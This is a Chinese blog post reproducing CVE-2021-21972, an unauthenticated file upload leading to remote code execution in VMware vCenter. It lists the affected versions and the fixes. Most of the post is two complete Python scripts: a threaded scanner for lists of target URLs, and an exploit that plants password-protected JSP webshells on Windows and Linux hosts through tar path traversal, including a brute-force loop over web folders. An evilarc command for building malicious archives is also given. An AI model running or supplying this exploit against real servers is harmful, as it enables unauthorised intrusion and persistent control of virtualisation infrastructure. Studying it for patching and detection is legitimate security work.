(复现)CVE-2021-21972 Vmware vcenter未授权任意文件上传导致RCE

0x00 简介

        vSphere 是 VMware 推出的虚拟化平台套件,包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机,使得 IT 管理员能够提高控制能力,简化入场任务,并降低 IT 环境的管理复杂性与成本。        

0x01 漏洞概述

        vSphere Client(HTML5)在 vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放 443 端口的服务器向 vCenter Server 发送精心构造的请求,从而在服务器上写入 webshell,最终造成远程任意代码执行。

0x02 影响版本

  •  VMware vCenter Server 7.0系列 < 7.0.U1c
  •  VMware vCenter Server 6.7系列 < 6.7.U3l
  •  VMware vCenter Server 6.5系列 < 6.5 U3n

0x03 漏洞利用

环境搭建可参考https://blog.csdn.net/z136370204/article/details/111719373,此文不表。

1、首先使用POC来测试是否存在该漏洞。

#-*- coding:utf-8 -*-
banner = """
                @time:2021/02/25 CVE-2021-21972.py
                C0de by NebulabdSec - @batsu                  
 """
print(banner)

import threadpool
import random
import argparse
import http.client
import urllib3
import base64
import requests


urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'

TARGET_URI = "/ui/vropspluginui/rest/services/uploadova"
def get_ua():
    first_num = random.randint(55, 62)
    third_num = random.randint(0, 3200)
    fourth_num = random.randint(0, 140)
    os_type = [
        '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)',
        '(Macintosh; Intel Mac OS X 10_12_6)'
    ]
    chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)

    ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
                   '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
                  )
    return ua


def CVE_2021_21972(url):
    # proxies = {"scoks5": "http://127.0.0.1:1081"}
    proxies = {
        "http": "http://127.0.0.1:8080",
        "https": "http://127.0.0.1:8080",
    }
    headers = {
        'User-Agent': get_ua()
    }
    # data = base64.b64decode(Payload)
    # files = {'uploadFile': open('all.tar', 'rb')} #linux
    files = {'uploadFile': open('test.tar', 'rb')} #win
    targetUrl = url + TARGET_URI
    try:
        res = requests.post(url=targetUrl,
                            headers=headers,
                            files=files,
                            verify=False,
                            )
                            # proxies={'socks5': 'http://127.0.0.1:1081'})
        if res.status_code == 200 and "SUCCESS" in res.text:
            print("[+] URL:{}--------存在CVE-2021-21972漏洞".format(url))
            # print("[+] Command success result: " + res.text + "\n")
            with open("存在漏洞地址.txt", 'a') as fw:
                fw.write(url + '\n')
        else:
            print("[-] " + url + " 没有发现CVE-2021-21972漏洞.\n")
    # except Exception as e:
    #     print(e)
    except:
        print("[-] " + url + " Request ERROR.\n")
def multithreading(filename, pools=5):
    works = []
    with open(filename, "r") as f:
        for i in f:
            func_params = [i.rstrip("\n")]
            # func_params = [i] + [cmd]
            works.append((func_params, None))
    pool = threadpool.ThreadPool(pools)
    reqs = threadpool.makeRequests(CVE_2021_21972, works)
    [pool.putRequest(req) for req in reqs]
    pool.wait()

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u",
                        "--url",
                        help="Target URL; Example:http://ip:port")
    parser.add_argument("-f",
                        "--file",
                        help="Url File; Example:url.txt")
    # parser.add_argument("-t",
    #                     "--tar",
    #                     help="Create tar File; Example:test.tar")
    # parser.add_argument("-c", "--cmd", help="Commands to be executed; ")
    args = parser.parse_args()
    url = args.url
    # cmd = args.cmd
    file_path = args.file
    # jsp = args.tar
    # if jsp != None:
    #     print(jsp)
    #     generate_zip(jsp)
    if url != None and file_path ==None:
        CVE_2021_21972(url)
    elif url == None and file_path != None:
        multithreading(file_path, 10)  # 默认15线程

if __name__ == "__main__":
    main()

这个POC也很简单,上传了一个测试文件,里面内容是test,返回success,及证明存在该未授权上传漏洞。

2、使用EXP上传shell

'''
Author         : Sp4ce
Date           : 2021-02-25 00:18:48
LastEditors    : Sp4ce
LastEditTime   : 2021-03-10 12:59:59
Description    : Challenge Everything.
'''
import requests
import os
import argparse
import urllib3
import tarfile
import time
import sys

# remove SSL warning
urllib3.disable_warnings()

# get script work path
WORK_PATH = os.path.split(os.path.realpath(__file__))[0]

# init payload path
WINDOWS_PAYLOAD = WORK_PATH + "/payload/Windows.tar"
LINUX_DEFAULT_PAYLOAD = WORK_PATH + "/payload/Linux.tar"
LINUX_RANDOM_PAYLOAD_SOURCE = WORK_PATH + "/payload/Linux/shell.jsp"
LINUX_RANDOM_PAYLOAD_TARFILE = WORK_PATH + "/payload/Linux_Random.tar"

# init vulnerable url and shell URL
VUL_URI = "/ui/vropspluginui/rest/services/uploadova"
WINDOWS_SHELL_URL = "/statsreport/shell.jsp"
LINUX_SHELL_URL = "/ui/resources/shell.jsp"

# set connect timeout
TIMEOUT = 10

# set headers
headers = {}
headers[
    "User-Agent"
] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36"
headers["Cache-Control"] = "no-cache"
headers["Pragma"] = "no-cache"

# get vcenter version,code from @TaroballzChen
SM_TEMPLATE = b"""<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
      <env:Body>
      <RetrieveServiceContent xmlns="urn:vim25">
        <_this type="ServiceInstance">ServiceInstance</_this>
      </RetrieveServiceContent>
      </env:Body>
      </env:Envelope>"""


def getValue(sResponse, sTag="vendor"):
    try:
        return sResponse.split("<" + sTag + ">")[1].split("</" + sTag + ">")[0]
    except:
        pass
    return ""


def getVersion(sURL):
    oResponse = requests.post(sURL + "/sdk", verify=False, timeout=5, data=SM_TEMPLATE)
    if oResponse.status_code == 200:
        sResult = oResponse.text
        if not "VMware" in getValue(sResult, "vendor"):
            print("[-] Not a VMware system: " + sURL, "error")
            return
        else:
            sVersion = getValue(sResult, "version")  # e.g. 7.0.0
            sBuild = getValue(sResult, "build")  # e.g. 15934073
            sFull = getValue(sResult, "fullName")
            print("[+] Identified: " + sFull, "good")
            return sVersion, sBuild
    print("Not a VMware system: " + sURL, "error")
    sys.exit()


# Utils Functions, Code From @horizon3ai
def make_traversal_path(path, level=2):
    traversal = ".." + "/"
    fullpath = traversal * level + path
    return fullpath.replace("\\", "/").replace("//", "/")


def archive(file, path):
    tarf = tarfile.open(LINUX_RANDOM_PAYLOAD_TARFILE, "w")
    fullpath = make_traversal_path(path, level=2)
    print("[+] Adding " + file + " as " + fullpath + " to archive")
    tarf.add(file, fullpath)
    tarf.close()


# Tool Functions
def checkVul(URL):
    try:
        res = requests.get(
            URL + VUL_URI, verify=False, timeout=TIMEOUT, headers=headers
        )
        print("[*] Check {URL} is vul ...".format(URL=URL))
        if res.status_code == 405:
            print("[!] {URL} IS vul ...".format(URL=URL))
            return True
        else:
            print("[-] {URL} is NOT vul ...".format(URL=URL))
            return False
    except:
        print("[-] {URL} connect failed ...".format(URL=URL))
        return False


def checkShellExist(SHELL_URI):
    time.sleep(
        5
    )  # vCenter copy file to web folder need some time, on most test,5s is good
    re = requests.get(SHELL_URI, verify=False, timeout=TIMEOUT, headers=headers)
    if re.status_code == 200:
        return True
    else:
        return False


def uploadWindowsPayload(URL):
    file = {"uploadFile": open(WINDOWS_PAYLOAD, "rb")}
    re = requests.post(
        URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
    )
    if "SUCCESS" in re.text:
        if checkShellExist(URL + WINDOWS_SHELL_URL):
            print(
                "[+] Shell exist URL: {url}, default password:rebeyond".format(
                    url=URL + WINDOWS_SHELL_URL
                )
            )
        else:
            print("[-] All payload has been upload but not success.")
    else:
        print("[-] All payload has been upload but not success.")


def uploadLinuxShell(URL):
    print("[*] Trying linux default payload...")
    file = {"uploadFile": open(LINUX_DEFAULT_PAYLOAD, "rb")}
    re = requests.post(
        URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
    )
    if "SUCCESS" in re.text:
        print("[+] Shell upload success, now check is shell exist...")
        if checkShellExist(URL + LINUX_SHELL_URL):
            print(
                "[+] Shell exist URL: {URL}, default password:rebeyond".format(
                    URL=URL + LINUX_SHELL_URL
                )
            )
        else:
            print(
                "[-] Shell upload success, BUT NOT EXIST, trying Linux Random payload..."
            )
            uploadLinuxRandomPayload(URL)
    else:
        print("[-] Shell upload success, BUT NOT EXIST, trying windows payload...")
        uploadWindowsPayload(URL)


def uploadLinuxRandomPayload(URL):
    for i in range(0, 120):
        """
        vCenter will regenerate web folder when vCenter Server restart
        Attempts to brute force web folders up to 120 times
        """
        archive(
            LINUX_RANDOM_PAYLOAD_SOURCE,
            "/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/{REPLACE_RANDOM_ID_HERE}/0/h5ngc.war/resources/shell.jsp".format(
                REPLACE_RANDOM_ID_HERE=i
            ),
        )
        file = {"uploadFile": open(LINUX_RANDOM_PAYLOAD_TARFILE, "rb")}
        re = requests.post(
            URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
        )
        if "SUCCESS" in re.text and checkShellExist(URL + LINUX_SHELL_URL):
            print(
                "[+] Shell exist URL: {url}, default password:rebeyond".format(
                    url=URL + LINUX_SHELL_URL
                )
            )
            print(
                "[+] Found Server Path exists!!!! Try times {REPLACE_RANDOM_ID_HERE}".format(
                    REPLACE_RANDOM_ID_HERE=i
                )
            )
            exit()


def banner():
    print(
        """
   _______      ________    ___   ___ ___  __      ___  __  ___ ______ ___  
  / ____\\ \\    / /  ____|  |__ \\ / _ \\__ \\/_ |    |__ \\/_ |/ _ \\____  |__ \\ 
 | |     \\ \\  / /| |__ ______ ) | | | | ) || |______ ) || | (_) |  / /   ) |
 | |      \\ \\/ / |  __|______/ /| | | |/ / | |______/ / | |\\__, | / /   / / 
 | |____   \\  /  | |____    / /_| |_| / /_ | |     / /_ | |  / / / /   / /_ 
  \\_____|   \\/   |______|  |____|\\___/____||_|    |____||_| /_/ /_/   |____|
                Test On vCenter 6.5 Linux/Windows
                VMware-VCSA-all-6.7.0-8217866
                VMware-VIM-all-6.7.0-8217866
                VMware-VCSA-all-6.5.0-16613358 
                        By: Sp4ce                                                    
                        Github:https://github.com/NS-Sp4ce                                                    
    """
    )


if __name__ == "__main__":
    banner()
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "-url",
        "--targeturl",
        type=str,
        help="Target URL. e.g: -url 192.168.2.1、-url https://192.168.2.1",
    )
    args = parser.parse_args()
    url = args.targeturl
    if "https://" not in url:
        url = "https://" + url
        if checkVul(url):
            sVersion, sBuild = getVersion(url)
            if (
                int(sVersion.split(".")[0]) == 6
                and int(sVersion.split(".")[1]) == 7
                and int(sBuild) >= 13010631
            ) or (
                (int(sVersion.split(".")[0]) == 7 and int(sVersion.split(".")[1]) == 0)
            ):
                print(
                    "[-] vCenter 6.7U2+ running website in memory,so this exp can't work for 6.7 u2+."
                )
            sys.exit()
        else:
            uploadLinuxShell(url)
    elif checkVul(url):
        sVersion, sBuild = getVersion(url)
        if (
                int(sVersion.split(".")[0]) == 6
                and int(sVersion.split(".")[1]) == 7
                and int(sBuild) >= 13010631
            ) or (
                (int(sVersion.split(".")[0]) == 7 and int(sVersion.split(".")[1]) == 0)
            ):
            print(
                "[-] vCenter 6.7U2+ running website in memory,so this exp can't work for 6.7 u2+."
            )
            sys.exit()
        else:
            uploadLinuxShell(url)
    else:
        parser.print_help()

3、也可使用evilarc项目自行生成所需要的tar包。

python2 evilarc.py -d 2 -p usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/41/0/h5ngc.war/resources -o linux -f Linux1.tar test.txt

0x04 修复方式

  • vCenter Server7.0版本升级到7.0.U1c
  • vCenter Server6.7版本升级到6.7.U3l
  • vCenter Server6.5版本升级到6.5 U3n

官方公告:

https://www.vmware.com/security/advisories/VMSA-2021-0002.html

Referer:

1、https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py(POC)

2、https://github.com/NS-Sp4ce/CVE-2021-21972/blob/main/CVE-2021-21972.py(EXP)

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
CVE-2021-28041是一个安全漏洞,它影响了某个软件或系统的特定版本。由于我无法得知你具体指的是哪个软件或系统的CVE-2021-28041漏洞,因此无法提供具体的复现步骤。但是,我可以给你一些一般性的复现漏洞的方法和建议。 要复现CVE-2021-28041漏洞,通常需要以下步骤: 1. 确定受影响的软件或系统版本:首先,你需要确定你使用的软件或系统是否受到CVE-2021-28041漏洞的影响。可以查看相关厂商或组织发布的安全公告或漏洞报告来获取这些信息。 2. 了解漏洞的详细信息:阅读CVE-2021-28041漏洞的详细描述和相关文档,了解漏洞的原理和影响范围。这将帮助你更好地理解漏洞,并为复现做好准备。 3. 搭建实验环境:在一个安全的环境中,搭建一个与受影响软件或系统版本相匹配的实验环境。这可以是一个虚拟机、容器或者专门用于安全测试的实验环境。 4. 复现漏洞:根据漏洞的描述和相关文档,尝试复现CVE-2021-28041漏洞。这可能涉及到构造特定的输入、触发特定的操作或者利用软件或系统中的某个弱点。 5. 验证漏洞:一旦成功复现漏洞,验证漏洞的存在和影响。这可以通过观察系统行为、获取敏感信息或者执行授权的操作来进行验证。 请注意,复现漏洞是一项敏感的活动,需要在合法授权和合法范围内进行。在进行任何安全测试之前,请确保你已经获得了相关授权,并遵守法律和道德规范。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值